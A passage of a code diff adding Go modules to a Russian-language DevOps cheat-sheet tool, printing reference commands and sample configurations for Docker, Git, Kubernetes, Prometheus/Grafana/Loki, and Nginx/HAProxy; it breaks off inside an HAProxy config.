utils.Command("docker push myrepo/myapp:1.0", "отправить в реестр")
utils.Command("docker build -t myapp:1.0 .", "собрать образ из Dockerfile")
utils.Command("docker build -t myapp:1.0 -f Dockerfile.prod .", "из другого Dockerfile")
utils.Command("docker rmi nginx:latest", "удалить образ")
utils.Command("docker image prune", "удалить неиспользуемые образы")
utils.Command("docker inspect nginx", "подробная информация об образе")
utils.Command("docker history nginx", "слои образа")
utils.Command("docker save myapp:1.0 | gzip > myapp.tar.gz", "экспорт образа")
utils.Command("docker load < myapp.tar.gz", "импорт образа")
utils.Section("Управление контейнерами")
utils.Command("docker run nginx", "запустить контейнер")
utils.Command("docker run -d nginx", "в фоне (detached)")
utils.Command("docker run -d -p 8080:80 --name web nginx", "с портом и именем")
utils.Command("docker run -it ubuntu bash", "интерактивно с терминалом")
utils.Command("docker run --rm alpine echo 'hello'", "удалить после остановки")
fmt.Println()
utils.Code(`# Часто используемые флаги run:
-d фоновый режим
-p 8080:80 проброс порта (host:container)
-P автоматический проброс всех портов
--name web имя контейнера
-e KEY=value переменная окружения
--env-file .env переменные из файла
-v /host:/cont монтирование тома
--network mynet подключить к сети
--restart=always автоперезапуск
--rm удалить контейнер после остановки
--memory=512m ограничение RAM
--cpus=0.5 ограничение CPU
-u 1000:1000 пользователь`)
utils.Println(utils.ColorBold + "Жизненный цикл контейнера:" + utils.ColorReset)
utils.Command("docker ps", "запущенные контейнеры")
utils.Command("docker ps -a", "все контейнеры включая остановленные")
utils.Command("docker stop web", "остановить (SIGTERM)")
utils.Command("docker kill web", "принудительно (SIGKILL)")
utils.Command("docker start web", "запустить остановленный")
utils.Command("docker restart web", "перезапустить")
utils.Command("docker rm web", "удалить остановленный")
utils.Command("docker rm -f web", "удалить принудительно")
utils.Command("docker container prune", "удалить все остановленные")
fmt.Println()
utils.Println(utils.ColorBold + "Взаимодействие с контейнером:" + utils.ColorReset)
utils.Command("docker exec -it web bash", "открыть shell в запущенном")
utils.Command("docker exec web ls /etc/nginx", "выполнить команду")
utils.Command("docker logs web", "логи контейнера")
utils.Command("docker logs -f web", "следить за логами")
utils.Command("docker logs --tail 100 web", "последние 100 строк")
utils.Command("docker cp web:/etc/nginx/nginx.conf .", "скопировать файл из контейнера")
utils.Command("docker cp nginx.conf web:/etc/nginx/", "скопировать в контейнер")
utils.Command("docker stats", "использование ресурсов")
utils.Command("docker top web", "процессы в контейнере")
utils.Section("Dockerfile")
utils.Code(`# Dockerfile инструкции сборки образа:
FROM ubuntu:22.04 # базовый образ
LABEL maintainer="alice@example.com" # метаданные
# Установка зависимостей:
RUN apt-get update && \
apt-get install -y python3 python3-pip && \
rm -rf /var/lib/apt/lists/* # очищаем кэш в том же слое
WORKDIR /app # рабочая директория
COPY requirements.txt . # копировать файлы
RUN pip install -r requirements.txt # установить зависимости
COPY . . # копировать код
ENV APP_ENV=production # переменные окружения
EXPOSE 8000 # документировать порт
VOLUME ["/app/data"] # объявить том
USER 1000:1000 # непривилегированный пользователь
CMD ["python3", "-m", "uvicorn", "main:app", "--host", "0.0.0.0"]`)
utils.Code(`# Многоэтапная сборка (multi-stage) уменьшает итоговый размер:
FROM golang:1.22 AS builder
WORKDIR /build
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o app .
FROM alpine:3.19
RUN apk add --no-cache ca-certificates
WORKDIR /app
COPY --from=builder /build/app .
USER 65534:65534
CMD ["./app"]`)
utils.Note("COPY requirements.txt и pip install ПЕРЕД COPY . — слои кэшируются, сборка быстрее.")
utils.Note("Всегда указывай конкретный тег образа (не latest) для воспроизводимости.")
utils.Section("Тома (Volumes)")
utils.Code(`Типы хранилища:
Volume управляется Docker (/var/lib/docker/volumes/)
Bind mount директория хоста, монтируется в контейнер
tmpfs только в памяти (временное)
# Named volume:
docker volume create mydata
docker run -v mydata:/app/data nginx
docker volume ls
docker volume inspect mydata
docker volume rm mydata
docker volume prune
# Bind mount:
docker run -v /host/path:/container/path nginx
docker run -v $(pwd):/app nginx # текущая директория
# tmpfs:
docker run --tmpfs /tmp nginx`)
utils.Section("Сети (Networks)")
utils.Code(`Типы сетей:
bridge виртуальная сеть по умолчанию (контейнеры изолированы от хоста)
host контейнер использует сеть хоста напрямую
none без сети
overlay между несколькими хостами (Docker Swarm)
docker network ls
docker network create mynet
docker network create --subnet=172.20.0.0/16 mynet
docker run --network mynet --name db postgres
docker run --network mynet --name app myapp # app может обращаться к db по имени!
docker network connect mynet container1
docker network disconnect mynet container1
docker network inspect mynet
docker network rm mynet`)
utils.Section("Docker Compose")
utils.Code(`# docker-compose.yml многоконтейнерное приложение:
version: '3.9'
services:
web:
build: .
ports:
- "8080:8000"
environment:
- DATABASE_URL=postgresql://user:pass@db:5432/mydb
volumes:
- ./:/app
depends_on:
db:
condition: service_healthy
restart: unless-stopped
db:
image: postgres:16
environment:
POSTGRES_USER: user
POSTGRES_PASSWORD: pass
POSTGRES_DB: mydb
volumes:
- pgdata:/var/lib/postgresql/data
healthcheck:
test: ["CMD-SHELL", "pg_isready -U user"]
interval: 5s
timeout: 5s
retries: 5
redis:
image: redis:7-alpine
command: redis-server --appendonly yes
volumes:
- redisdata:/data
volumes:
pgdata:
redisdata:
networks:
default:
name: myapp-network`)
utils.Println(utils.ColorBold + "Команды Compose:" + utils.ColorReset)
utils.Command("docker compose up -d", "запустить все сервисы в фоне")
utils.Command("docker compose up -d --build", "пересобрать образы")
utils.Command("docker compose down", "остановить и удалить контейнеры")
utils.Command("docker compose down -v", "удалить и тома")
utils.Command("docker compose ps", "статус сервисов")
utils.Command("docker compose logs -f web", "логи сервиса")
utils.Command("docker compose exec web bash", "shell в сервисе")
utils.Command("docker compose restart web", "перезапустить сервис")
utils.Command("docker compose scale web=3", "масштабировать сервис")
utils.Section("Podman — альтернатива без демона")
utils.Code(`Podman daemonless, rootless, совместим с Docker CLI.
Используется в RHEL вместо Docker.
# Команды идентичны Docker:
podman run -d -p 8080:80 nginx
podman build -t myapp .
podman ps
podman images
# Rootless-контейнеры (без root):
podman run --user 1000 nginx
# Podman Compose:
podman-compose up -d
# Генерация systemd-юнита для контейнера:
podman generate systemd --name mycontainer > /etc/systemd/system/mycontainer.service
# Podman Pod (группа контейнеров с общей сетью):
podman pod create --name mypod -p 8080:80
podman run -d --pod mypod nginx
podman pod ps`)
utils.Footer()
}

View file

@ -0,0 +1,148 @@
package devopsmodules
import (
"rubric/utils"
)
var GitModule = Module{
Key: "git",
Aliases: []string{"g", "vcs"},
Title: "Git — система контроля версий",
Description: "Основы, ветвление, merge/rebase, удалённые репозитории, рабочие процессы",
Run: showGit,
}
func showGit() {
utils.Header("DevOps — Git")
utils.Section("Основы и настройка")
utils.Code(`# Первоначальная настройка:
git config --global user.name "Alice Smith"
git config --global user.email "alice@example.com"
git config --global core.editor vim
git config --global init.defaultBranch main
git config --global pull.rebase false # merge при pull
git config --list`)
utils.Println(utils.ColorBold + "Создание репозитория:" + utils.ColorReset)
utils.Command("git init", "инициализировать в текущей папке")
utils.Command("git clone https://github.com/user/repo", "клонировать")
utils.Command("git clone --depth 1 https://github.com/user/repo", "только последний коммит")
utils.Command("git clone -b develop https://github.com/user/repo", "конкретная ветка")
utils.Section("Базовые операции")
utils.Code(`git status # состояние рабочей директории
git status -s # краткий формат
# Staging:
git add file.txt # конкретный файл
git add . # все изменения
git add -p # интерактивно по кускам
# Коммит:
git commit -m "feat: добавить авторизацию"
git commit -am "fix: исправить баг" # add + commit
git commit --amend # изменить последний коммит
# История:
git log --oneline --graph --all # граф всех веток
git log --since="2 weeks ago" --author="Alice"
git log -p file.txt # история файла с диффом`)
utils.Println(utils.ColorBold + "Diff и просмотр:" + utils.ColorReset)
utils.Command("git diff", "изменения не в staging")
utils.Command("git diff --staged", "изменения в staging")
utils.Command("git diff main..feature", "между ветками")
utils.Command("git show abc1234", "конкретный коммит")
utils.Command("git blame file.txt", "кто написал каждую строку")
utils.Section("Ветвление")
utils.Code(`git branch # список локальных веток
git branch -a # включая удалённые
git switch -c feature/login # создать и переключиться
git switch main # переключиться
git branch -d feature/login # удалить влитую ветку
git branch -D feature/login # принудительно
# Merge:
git merge --no-ff feature/login # всегда создавать merge commit
git merge --squash feature/login # слить все коммиты в один
git merge --abort # отменить при конфликте
# Rebase:
git rebase main # перенести коммиты поверх main
git rebase -i HEAD~3 # интерактивный (squash, reword, drop...)
git rebase --abort / --continue`)
utils.Note("Не делай rebase публичных веток, которые уже запушены.")
utils.Section("Удалённые репозитории")
utils.Command("git remote -v", "список удалённых")
utils.Command("git remote add origin https://github.com/user/repo", "добавить")
utils.Command("git fetch --all", "скачать изменения без слияния")
utils.Command("git pull --rebase", "fetch + rebase")
utils.Command("git push -u origin feature/login", "отправить и установить upstream")
utils.Command("git push --force-with-lease", "force push с проверкой (безопаснее --force)")
utils.Section("Откат изменений")
utils.Code(`git restore file.txt # вернуть файл как в HEAD
git restore --staged file.txt # убрать из staging
git revert HEAD # новый коммит-отмена
git reset HEAD~1 # убрать последний коммит, оставить изменения
git reset --hard HEAD~1 # убрать коммит И изменения (осторожно!)
# Stash временное сохранение:
git stash push -m "wip: форма логина"
git stash list
git stash pop # восстановить последний
git stash branch feature/wip # создать ветку из stash`)
utils.Section("Теги и продвинутые команды")
utils.Code(`git tag -a v1.0.0 -m "Релиз" # аннотированный тег
git push origin --tags # отправить все теги
# Cherry-pick перенести конкретный коммит:
git cherry-pick abc1234
# Bisect бинарный поиск бага:
git bisect start
git bisect bad # текущая версия сломана
git bisect good v1.0.0 # эта работала
# git bisect good / bad до нахождения
git bisect reset`)
utils.Section("Рабочие процессы (Workflows)")
utils.Code(`Git Flow:
main продакшн (только теги релизов)
develop интеграционная ветка
feature/* новые функции (от develop)
release/* подготовка релиза
hotfix/* срочные правки (от main)
GitHub Flow (проще):
main всегда рабочий код
feature/* ветка от main Pull Request merge
Trunk-Based Development (для CI/CD):
main единая ветка, коммиты несколько раз в день
Короткоживущие ветки (< 1 дня), feature flags
Conventional Commits:
feat: новая функциональность
fix: исправление бага
docs: документация
refactor: рефакторинг
test: тесты
chore: сборка, зависимости`)
utils.Code(`# .gitignore игнорируемые файлы:
*.log
node_modules/
.env
__pycache__/
build/
dist/
.DS_Store`)
utils.Footer()
}

View file

@ -0,0 +1,263 @@
package devopsmodules
import (
"fmt"
"rubric/utils"
)
var KubernetesModule = Module{
Key: "kubernetes",
Aliases: []string{"k8s", "k", "kube"},
Title: "Kubernetes",
Description: "Архитектура, Pod/Deployment/Service, kubectl, ConfigMap, Ingress, Helm",
Run: showKubernetes,
}
func showKubernetes() {
utils.Header("DevOps — Kubernetes")
utils.Section("Архитектура кластера")
utils.Code(`Control Plane (мастер-узлы):
kube-apiserver API-сервер, точка входа для всех запросов
etcd распределённая БД, хранит состояние кластера
kube-scheduler решает на какой узел помещать Pod
kube-controller-manager следит за состоянием (ReplicaSet, Node...)
cloud-controller-manager интеграция с облаком (AWS, GCP, Azure)
Worker Nodes (рабочие узлы):
kubelet агент, запускает и следит за Pod-ами
kube-proxy сетевые правила (iptables/ipvs)
Container Runtime containerd, CRI-O (запуск контейнеров)
Основные объекты:
Pod минимальная единица, 1+ контейнеров с общей сетью
ReplicaSet поддерживает N копий Pod-а
Deployment управляет ReplicaSet, rolling updates
Service стабильный IP/DNS для набора Pod-ов
Ingress HTTP-маршрутизация снаружи в Service
ConfigMap конфигурация (не секреты)
Secret секреты (base64)
Namespace логическое разделение кластера
PV/PVC постоянное хранилище
StatefulSet Pod-ы с постоянной идентичностью (БД)
DaemonSet по одному Pod-у на каждый узел
Job/CronJob разовые и периодические задачи`)
utils.Section("kubectl — основные команды")
utils.Code(`# Контексты и кластеры:
kubectl config get-contexts # список контекстов
kubectl config use-context prod # переключить кластер
kubectl config current-context
export KUBECONFIG=~/.kube/config`)
utils.Println(utils.ColorBold + "Просмотр ресурсов:" + utils.ColorReset)
utils.Command("kubectl get pods", "Pod-ы в текущем namespace")
utils.Command("kubectl get pods -n kube-system", "в namespace kube-system")
utils.Command("kubectl get pods -A", "во всех namespace")
utils.Command("kubectl get pods -o wide", "с IP и узлом")
utils.Command("kubectl get all", "все ресурсы namespace")
utils.Command("kubectl describe pod mypod", "подробная информация")
utils.Command("kubectl logs mypod", "логи Pod-а")
utils.Command("kubectl logs -f mypod -c mycontainer", "следить, конкретный контейнер")
utils.Command("kubectl exec -it mypod -- bash", "shell в Pod-е")
utils.Command("kubectl top pods", "использование ресурсов")
utils.Command("kubectl top nodes", "ресурсы узлов")
fmt.Println()
utils.Println(utils.ColorBold + "Применение манифестов:" + utils.ColorReset)
utils.Command("kubectl apply -f deployment.yaml", "применить манифест")
utils.Command("kubectl apply -f ./manifests/", "применить директорию")
utils.Command("kubectl delete -f deployment.yaml", "удалить по манифесту")
utils.Command("kubectl delete pod mypod", "удалить Pod")
utils.Command("kubectl get pod mypod -o yaml", "экспортировать манифест")
utils.Command("kubectl edit deployment myapp", "редактировать в редакторе")
utils.Section("Основные объекты — манифесты")
utils.Code(`# Pod (редко создаётся напрямую):
apiVersion: v1
kind: Pod
metadata:
name: mypod
labels:
app: myapp
spec:
containers:
- name: myapp
image: myapp:1.0
ports:
- containerPort: 8000
resources:
requests:
memory: "64Mi"
cpu: "100m"
limits:
memory: "128Mi"
cpu: "500m"
env:
- name: DATABASE_URL
valueFrom:
secretKeyRef:
name: myapp-secret
key: db-url
livenessProbe:
httpGet:
path: /health
port: 8000
initialDelaySeconds: 10
periodSeconds: 15
readinessProbe:
httpGet:
path: /ready
port: 8000`)
utils.Code(`# Deployment:
apiVersion: apps/v1
kind: Deployment
metadata:
name: myapp
namespace: production
spec:
replicas: 3
selector:
matchLabels:
app: myapp
strategy:
type: RollingUpdate
rollingUpdate:
maxSurge: 1
maxUnavailable: 0
template:
metadata:
labels:
app: myapp
spec:
containers:
- name: myapp
image: myapp:1.0
ports:
- containerPort: 8000`)
utils.Code(`# Service:
apiVersion: v1
kind: Service
metadata:
name: myapp-svc
spec:
selector:
app: myapp
ports:
- port: 80
targetPort: 8000
type: ClusterIP # ClusterIP / NodePort / LoadBalancer
# ClusterIP только внутри кластера
# NodePort доступен снаружи на порту 30000-32767
# LoadBalancer облачный балансировщик`)
utils.Code(`# Ingress:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: myapp-ingress
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /
spec:
ingressClassName: nginx
rules:
- host: myapp.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: myapp-svc
port:
number: 80
tls:
- hosts:
- myapp.example.com
secretName: myapp-tls`)
utils.Code(`# ConfigMap:
apiVersion: v1
kind: ConfigMap
metadata:
name: myapp-config
data:
LOG_LEVEL: "info"
APP_PORT: "8000"
nginx.conf: |
server {
listen 80;
location / { proxy_pass http://backend; }
}
# Secret (значения в base64):
apiVersion: v1
kind: Secret
metadata:
name: myapp-secret
type: Opaque
data:
db-password: cGFzc3dvcmQ= # echo -n 'password' | base64
stringData:
db-url: "postgresql://user:pass@db:5432/mydb" # автоматически base64`)
utils.Section("Масштабирование и обновление")
utils.Command("kubectl scale deployment myapp --replicas=5", "масштабировать")
utils.Command("kubectl rollout status deployment/myapp", "статус обновления")
utils.Command("kubectl rollout history deployment/myapp", "история обновлений")
utils.Command("kubectl rollout undo deployment/myapp", "откатить обновление")
utils.Command("kubectl rollout undo deployment/myapp --to-revision=2", "к конкретной версии")
utils.Command("kubectl set image deployment/myapp myapp=myapp:2.0", "обновить образ")
utils.Section("Namespaces и RBAC")
utils.Code(`kubectl create namespace staging
kubectl get namespaces
# ResourceQuota ограничения ресурсов namespace:
apiVersion: v1
kind: ResourceQuota
metadata:
name: staging-quota
namespace: staging
spec:
hard:
requests.cpu: "4"
requests.memory: 8Gi
limits.cpu: "8"
limits.memory: 16Gi
pods: "50"
# RBAC управление доступом:
# Role namespace, ClusterRole весь кластер
# RoleBinding / ClusterRoleBinding привязка к субъекту
kubectl create role developer --verb=get,list,create --resource=pods -n staging
kubectl create rolebinding alice-developer \
--role=developer --user=alice -n staging`)
utils.Section("Helm — пакетный менеджер Kubernetes")
utils.Code(`# Установка: https://helm.sh/docs/intro/install/
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
helm search repo bitnami/postgresql
helm install mydb bitnami/postgresql \
--set auth.postgresPassword=secret \
--set primary.persistence.size=20Gi \
--namespace db --create-namespace
helm list -A # установленные релизы
helm status mydb # статус релиза
helm upgrade mydb bitnami/postgresql --set auth.postgresPassword=newsecret
helm rollback mydb 1 # откатить
helm uninstall mydb
# Создать свой chart:
helm create mychart
helm template mychart ./mychart/ # рендеринг без установки
helm install myapp ./mychart/ -f values.yaml`)
utils.Footer()
}

View file

@ -0,0 +1,261 @@
package devopsmodules
import (
"rubric/utils"
)
var MonitoringModule = Module{
Key: "monitoring",
Aliases: []string{"mon", "prometheus", "grafana", "observability"},
Title: "Мониторинг и наблюдаемость",
Description: "Prometheus, Grafana, AlertManager, Loki, трассировка, метрики",
Run: showMonitoring,
}
func showMonitoring() {
utils.Header("DevOps — Мониторинг и наблюдаемость")
utils.Section("Три столпа наблюдаемости")
utils.Code(`Metrics числовые измерения во времени (CPU, RPS, latency)
Logs события с временными метками и контекстом
Traces путь запроса через микросервисы (span, trace)
Популярный стек:
Prometheus + Grafana метрики и визуализация
Loki логи (как Prometheus, но для логов)
Tempo / Jaeger распределённая трассировка
AlertManager маршрутизация алертов
Облачные альтернативы:
Datadog, New Relic, Dynatrace коммерческие
AWS CloudWatch, GCP Monitoring, Azure Monitor`)
utils.Section("Prometheus")
utils.Code(`Prometheus pull-based система мониторинга.
Сам опрашивает (scrape) цели по HTTP /metrics.
Типы метрик:
Counter только растёт (запросы, ошибки)
Gauge любое значение (CPU%, размер очереди)
Histogram распределение значений (latency, размер запроса)
Summary квантили (p50, p95, p99 latency)
# prometheus.yml конфигурация:
global:
scrape_interval: 15s
evaluation_interval: 15s
alerting:
alertmanagers:
- static_configs:
- targets: ['alertmanager:9093']
rule_files:
- "alerts/*.yml"
scrape_configs:
- job_name: 'prometheus'
static_configs:
- targets: ['localhost:9090']
- job_name: 'node-exporter'
static_configs:
- targets: ['node1:9100', 'node2:9100']
- job_name: 'kubernetes-pods'
kubernetes_sd_configs:
- role: pod
relabel_configs:
- source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
action: keep
regex: "true"`)
utils.Println(utils.ColorBold + "PromQL — язык запросов:" + utils.ColorReset)
utils.Code(`# Мгновенный вектор:
http_requests_total # все метки
http_requests_total{job="api", status="200"} # с фильтром
http_requests_total{status=~"5.."} # regex: 5xx
# Функции:
rate(http_requests_total[5m]) # скорость за 5 минут
irate(http_requests_total[1m]) # мгновенная скорость
increase(http_requests_total[1h]) # прирост за час
sum(rate(http_requests_total[5m])) # сумма
sum by (status)(rate(http_requests_total[5m])) # группировка
# Полезные запросы:
# Загрузка CPU:
100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100)
# Свободная RAM:
node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes * 100
# Latency p99 (если histogram):
histogram_quantile(0.99, sum(rate(http_request_duration_seconds_bucket[5m])) by (le))
# Error rate:
sum(rate(http_requests_total{status=~"5.."}[5m]))
/ sum(rate(http_requests_total[5m])) * 100`)
utils.Println(utils.ColorBold + "Exporters — источники метрик:" + utils.ColorReset)
utils.Code(`node_exporter метрики хоста (CPU, RAM, диск, сеть) :9100
blackbox_exporter проверка доступности (HTTP, TCP, ICMP) :9115
mysqld_exporter MySQL :9104
postgres_exporter PostgreSQL :9187
nginx-vts-exporter Nginx :9913
redis_exporter Redis :9121
cadvisor Docker/cgroup метрики :8080
# Kubernetes: kube-state-metrics, metrics-server`)
utils.Section("AlertManager — маршрутизация алертов")
utils.Code(`# Правила алертинга (alerts/nodes.yml):
groups:
- name: nodes
rules:
- alert: HighCPU
expr: 100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 85
for: 5m
labels:
severity: warning
annotations:
summary: "Высокая загрузка CPU на {{ $labels.instance }}"
description: "CPU загружен на {{ $value | printf \"%.1f\" }}%"
- alert: DiskRunningOut
expr: node_filesystem_avail_bytes / node_filesystem_size_bytes * 100 < 10
for: 10m
labels:
severity: critical
annotations:
summary: "Заканчивается место на {{ $labels.instance }}"
- alert: ServiceDown
expr: up == 0
for: 1m
labels:
severity: critical
annotations:
summary: "Сервис {{ $labels.job }} недоступен"
# alertmanager.yml:
global:
slack_api_url: 'https://hooks.slack.com/services/...'
route:
group_by: ['alertname', 'instance']
group_wait: 30s
group_interval: 5m
repeat_interval: 4h
receiver: 'slack-warnings'
routes:
- match:
severity: critical
receiver: 'pagerduty'
receivers:
- name: 'slack-warnings'
slack_configs:
- channel: '#alerts'
title: '{{ .GroupLabels.alertname }}'
text: '{{ range .Alerts }}{{ .Annotations.summary }}\n{{ end }}'
- name: 'pagerduty'
pagerduty_configs:
- routing_key: '<PD_ROUTING_KEY>'`)
utils.Section("Grafana")
utils.Code(`# Запуск (Docker Compose):
services:
grafana:
image: grafana/grafana:latest
ports:
- "3000:3000"
environment:
GF_SECURITY_ADMIN_PASSWORD: secret
GF_USERS_ALLOW_SIGN_UP: "false"
volumes:
- grafana-data:/var/lib/grafana
- ./grafana/provisioning:/etc/grafana/provisioning
# Provisioning автоматическая настройка:
# datasources/prometheus.yml:
apiVersion: 1
datasources:
- name: Prometheus
type: prometheus
url: http://prometheus:9090
isDefault: true
# dashboards.yml загрузка дашбордов из файлов
# Готовые дашборды: grafana.com/grafana/dashboards
# ID 1860 Node Exporter Full
# ID 13770 Kubernetes Pods
# ID 9628 PostgreSQL`)
utils.Section("Loki — логи как Prometheus")
utils.Code(`# Loki собирает логи, Promtail агент отправки.
# promtail-config.yml:
server:
http_listen_port: 9080
clients:
- url: http://loki:3100/loki/api/v1/push
scrape_configs:
- job_name: system
static_configs:
- targets: [localhost]
labels:
job: varlogs
__path__: /var/log/**/*.log
- job_name: containers
docker_sd_configs:
- host: unix:///var/run/docker.sock
relabel_configs:
- source_labels: [__meta_docker_container_name]
target_label: container
# LogQL язык запросов Loki (похож на PromQL):
{job="nginx"} |= "error" # поиск строки
{container="api"} | json | level="error" # парсинг JSON
{job="app"} | logfmt | duration > 1s # фильтр по полю
rate({job="nginx"} |= "error" [5m]) # скорость ошибок`)
utils.Section("Kubernetes мониторинг")
utils.Code(`# kube-prometheus-stack (Helm) полный стек:
helm repo add prometheus-community \
https://prometheus-community.github.io/helm-charts
helm repo update
helm install kube-prometheus prometheus-community/kube-prometheus-stack \
--namespace monitoring --create-namespace \
--set grafana.adminPassword=secret \
--set prometheus.prometheusSpec.retention=30d
# Компоненты стека:
# - Prometheus Operator
# - Prometheus
# - Alertmanager
# - Grafana
# - node-exporter
# - kube-state-metrics
# ServiceMonitor автоматический scraping:
apiVersion: monitoring.coreos.com/v1
kind: ServiceMonitor
metadata:
name: myapp
spec:
selector:
matchLabels:
app: myapp
endpoints:
- port: metrics
interval: 30s`)
utils.Footer()
}

View file

@ -0,0 +1,323 @@
package devopsmodules
import (
"rubric/utils"
)
var NginxModule = Module{
Key: "nginx",
Aliases: []string{"n", "web", "proxy", "haproxy"},
Title: "Nginx и балансировка нагрузки",
Description: "Конфигурация, virtual hosts, reverse proxy, SSL/TLS, балансировка, HAProxy",
Run: showNginx,
}
func showNginx() {
utils.Header("DevOps — Nginx и балансировка нагрузки")
utils.Section("Основы Nginx")
utils.Code(`# Установка:
apt install nginx # Debian/Ubuntu
dnf install nginx # RHEL/Fedora
systemctl enable --now nginx
nginx -t # проверить конфигурацию
nginx -s reload # перезагрузить конфиг
nginx -s stop # остановить
# Структура конфигурации:
/etc/nginx/
nginx.conf # главный файл
conf.d/ # дополнительные конфиги (*.conf)
sites-available/ # доступные виртуальные хосты
sites-enabled/ # включённые (симлинки)
snippets/ # переиспользуемые блоки
mime.types # MIME-типы`)
utils.Section("nginx.conf — основной конфиг")
utils.Code(`user nginx;
worker_processes auto; # = количество CPU
error_log /var/log/nginx/error.log warn;
pid /run/nginx.pid;
events {
worker_connections 1024; # соединений на воркер
multi_accept on;
use epoll; # Linux event model
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Логи:
log_format main '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'rt=$request_time uct=$upstream_connect_time';
access_log /var/log/nginx/access.log main;
# Производительность:
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
gzip on;
gzip_types text/plain text/css application/json application/javascript;
# Безопасность:
server_tokens off; # скрыть версию nginx
client_max_body_size 10M;
client_body_timeout 12s;
client_header_timeout 12s;
include /etc/nginx/conf.d/*.conf;
}`)
utils.Section("Virtual Hosts (Server Blocks)")
utils.Code(`# /etc/nginx/conf.d/example.com.conf
# Статический сайт:
server {
listen 80;
server_name example.com www.example.com;
root /var/www/example.com;
index index.html;
location / {
try_files $uri $uri/ =404;
}
location ~* \.(jpg|jpeg|png|gif|ico|css|js)$ {
expires 30d;
add_header Cache-Control "public, immutable";
}
# Перенаправление на HTTPS:
return 301 https://$host$request_uri;
}
# HTTPS:
server {
listen 443 ssl http2;
server_name example.com www.example.com;
root /var/www/example.com;
ssl_certificate /etc/ssl/certs/example.com.crt;
ssl_certificate_key /etc/ssl/private/example.com.key;
# Современные настройки TLS:
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;
ssl_prefer_server_ciphers off;
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 10m;
ssl_stapling on;
ssl_stapling_verify on;
# HSTS:
add_header Strict-Transport-Security "max-age=63072000" always;
add_header X-Frame-Options DENY;
add_header X-Content-Type-Options nosniff;
location / {
try_files $uri $uri/ =404;
}
}`)
utils.Section("Reverse Proxy")
utils.Code(`# Проксирование к бэкенду:
server {
listen 443 ssl http2;
server_name api.example.com;
ssl_certificate /etc/letsencrypt/live/api.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/api.example.com/privkey.pem;
location / {
proxy_pass http://localhost:8000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade'; # WebSocket
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_cache_bypass $http_upgrade;
proxy_connect_timeout 30s;
proxy_send_timeout 30s;
proxy_read_timeout 30s;
}
# Кэширование статики:
location /static/ {
proxy_pass http://localhost:8000/static/;
proxy_cache_valid 200 1d;
expires 1d;
}
}`)
utils.Section("Балансировка нагрузки")
utils.Code(`# upstream группа серверов:
upstream myapp {
least_conn; # least connections (или round_robin, ip_hash)
server backend1:8000 weight=3; # 3x больше запросов
server backend2:8000 weight=1;
server backend3:8000;
server backend4:8000 backup; # только при недоступности остальных
keepalive 32; # keepalive соединения
}
upstream myapp {
ip_hash; # один клиент один бэкенд (sticky sessions)
server backend1:8000;
server backend2:8000;
}
server {
listen 80;
location / {
proxy_pass http://myapp;
health_check; # nginx plus или модуль
}
}
# Алгоритмы балансировки:
# round_robin по очереди (по умолчанию)
# least_conn к серверу с наименьшим числом соединений
# ip_hash по IP клиента (sticky sessions)
# hash $var по произвольной переменной
# random случайно`)
utils.Section("Настройки производительности и безопасности")
utils.Code(`# Rate limiting ограничение запросов:
http {
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
limit_conn_zone $binary_remote_addr zone=conn:10m;
}
server {
location /api/ {
limit_req zone=api burst=20 nodelay;
limit_conn conn 10;
proxy_pass http://backend;
}
# Защита от DDoS:
location /login {
limit_req zone=api rate=1r/s burst=5;
proxy_pass http://backend;
}
}
# Аутентификация Basic Auth:
location /admin {
auth_basic "Admin Area";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://backend;
}
# htpasswd -c /etc/nginx/.htpasswd admin
# Блокировка по IP:
location /api {
deny 192.168.1.100;
allow 192.168.1.0/24;
deny all;
proxy_pass http://backend;
}
# Кэширование прокси:
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m
max_size=1g inactive=60m;
server {
location / {
proxy_cache my_cache;
proxy_cache_valid 200 10m;
proxy_cache_use_stale error timeout updating;
add_header X-Cache-Status $upstream_cache_status;
proxy_pass http://backend;
}
}`)
utils.Section("Let's Encrypt — бесплатные сертификаты")
utils.Code(`# Установка certbot:
apt install certbot python3-certbot-nginx
# Получить и настроить сертификат:
certbot --nginx -d example.com -d www.example.com
# Только получить сертификат (без правки nginx.conf):
certbot certonly --nginx -d example.com
# Обновление (автоматически через systemd timer или cron):
certbot renew --dry-run # тест
certbot renew # обновить просроченные
# Принудительное обновление:
certbot renew --force-renewal
# Wildcard сертификат (через DNS challenge):
certbot certonly --manual \
-d "*.example.com" \
--preferred-challenges dns`)
utils.Section("HAProxy — продвинутая балансировка")
utils.Code(`# HAProxy специализированный балансировщик нагрузки.
# Лучше nginx для TCP/L4 балансировки.
# Богатые возможности health check и ACL.
# /etc/haproxy/haproxy.cfg:
global
maxconn 50000
log /dev/log local0
stats socket /run/haproxy/admin.sock mode 660 level admin
defaults
log global
mode http
option httplog
option dontlognull
timeout connect 5s
timeout client 30s
timeout server 30s
option forwardfor
option http-server-close
frontend http_front
bind *:80
redirect scheme https unless { ssl_fc }
frontend https_front
bind *:443 ssl crt /etc/ssl/certs/example.pem
default_backend app_back
# ACL-маршрутизация:
acl is_api path_beg /api/
use_backend api_back if is_api
backend app_back
balance roundrobin
